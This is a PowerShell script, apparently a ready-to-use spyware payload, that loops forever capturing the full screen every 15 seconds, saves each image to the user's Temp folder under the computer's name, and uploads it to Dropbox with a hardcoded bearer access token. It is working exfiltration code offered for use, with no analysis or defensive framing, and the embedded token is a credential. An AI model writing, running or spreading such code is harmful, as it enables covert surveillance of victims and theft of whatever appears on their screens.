function DropBox-Upload { [CmdletBinding()] param ( [Parameter (Mandatory = $True, ValueFromPipeline = $True)] [Alias("f")] [string]$SourceFilePath ) $DropBoxAccessToken = "sl.u.AGi5P9j_SuLpE_CuEj_tfL5G3eCvt3xhkndF8EnyXF914Ae63DN8DJFV9x3OJiEtH542AS3mdMpQ6hDEp4E71RvJQNqCkXQQwQnTugiGi2z_zyVgQjWDDGGG3uP7fKhNXH1KTbWvhRXz6Q4Mh9f6TSQ0ScJZB9LHkLgdPD4yAiLW3FGemxIkG6hEfUoIuQ3QYbAHGYQF-kv_TREOmQ618TwyTa8xG1Nj7034OHOnSGgHCgFHyQbu4rBEkYLFohcSCDCriCmjW-gxrzvArPPf9FGocpkJ-E2OXcae4_o9CturBQ2X-GrLh7JFs0rBoCyZyMgte64MgOVscwO2mU1-O8iv2U_TEdlhSly-aOWCRGVfgwb79dxet62qty0WRSl9mvZ1MwP5ekKMKkRsgdfUWHWwgbeNjrPWDB09oMFWiT8BAZO2Kec4Po58zjeS19c-JZ7oZtVw6GAopMLWQwN6ZUC5dMy6Bhvi7SiAoTC3Qc6i3uSN81uTv7Lpw6LAD03GefU-1UelFJEEvDf7cL4AZFptutRYUIqiZ6_TGzjLoMF1oTCOjX0SxNRlDdZ1AsQ0LQWApITrKMKsFCkAJqnBp7uKEEjJZVTvNfKD-2B5R77egE7OjxNI-Cb5qNOcANOmM_tzGnzqZZgGj0h1Rc8I6USGXZsEx20dXBkz_bBbeLZ4Kc5-r2h4xUE5ZB4SjTwYE62e16BYE7ZGWGbWG7wlKBsmrbFu1AP5P8u6c0hlETepAr_o39I1tXHwC3weyaxgrWAXI2D_ezi9IMDqlpyT2b5hPBz4YIGS4eLi2WC3XTtBhnrCCtfOohZMn1CpG4eQxkZP18AguvRGGMX4mIRTDD9XMGT_dJdie2jZurEM6NWprhSC_oFQEfN6-hfFQaJKHzzf3FWhuwzePNI9wPQSrtQ9Xbjm36FA6AdPnQbqYgSfha7X5530L19JKmKWwTqDLiRau1y_hnJrl3TQArEEz9Q0JYTU-GMtKKFE2dBLNFqJ93IYvE3ISttPJzxdIiw7V6Bo9oHKRbPUzWcHdJx_LXM_gW_Bs4aMDt0rOXgVVC6iPEURZnxMajeK7yGeA2A4UxUDc7eE9tyVQ_S_ecL2BDfyqYtxtxqcuvHTorvz-RtUUSf_sYjbJDBLNPivnozQTdLYEpZgG-ztLtbwN21CsjN5txKvRHzOcHkj0OjbEk2BDkB3DjVP-lVm91GQwncDkzmQCEHmPUF6HLlyi1imD61F2Ki9HQni0b_a2iHaC-cpnjXkW5vFAOJEJJdidTbHYQLpWKYZq_5Ht4XhfYwoGP7Do0oHPFBCKRJ9YC2ClwVeRd_y_Y1hRJoCx0UzdLSdHnR6L7IPkFHUKNtt7gizt-Y-ZpXiu143xCCrzXGh-0cjmMJWgr1kDNdEzATHgu_JaAOQqMSjfxikQBhDKBR2nmlV" # Replace with your DropBox Access Token $outputFile = Split-Path $SourceFilePath -leaf $TargetFilePath="/$outputFile" $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $authorization = "Bearer " + $DropBoxAccessToken $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers.Add("Authorization", $authorization) $headers.Add("Dropbox-API-Arg", $arg) $headers.Add("Content-Type", 'application/octet-stream') Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers } while(1){ Add-Type -AssemblyName System.Windows.Forms,System.Drawing $screens = [Windows.Forms.Screen]::AllScreens $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height) $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height) $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png") $graphics.Dispose() $bmp.Dispose() start-sleep -Seconds 15 "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload }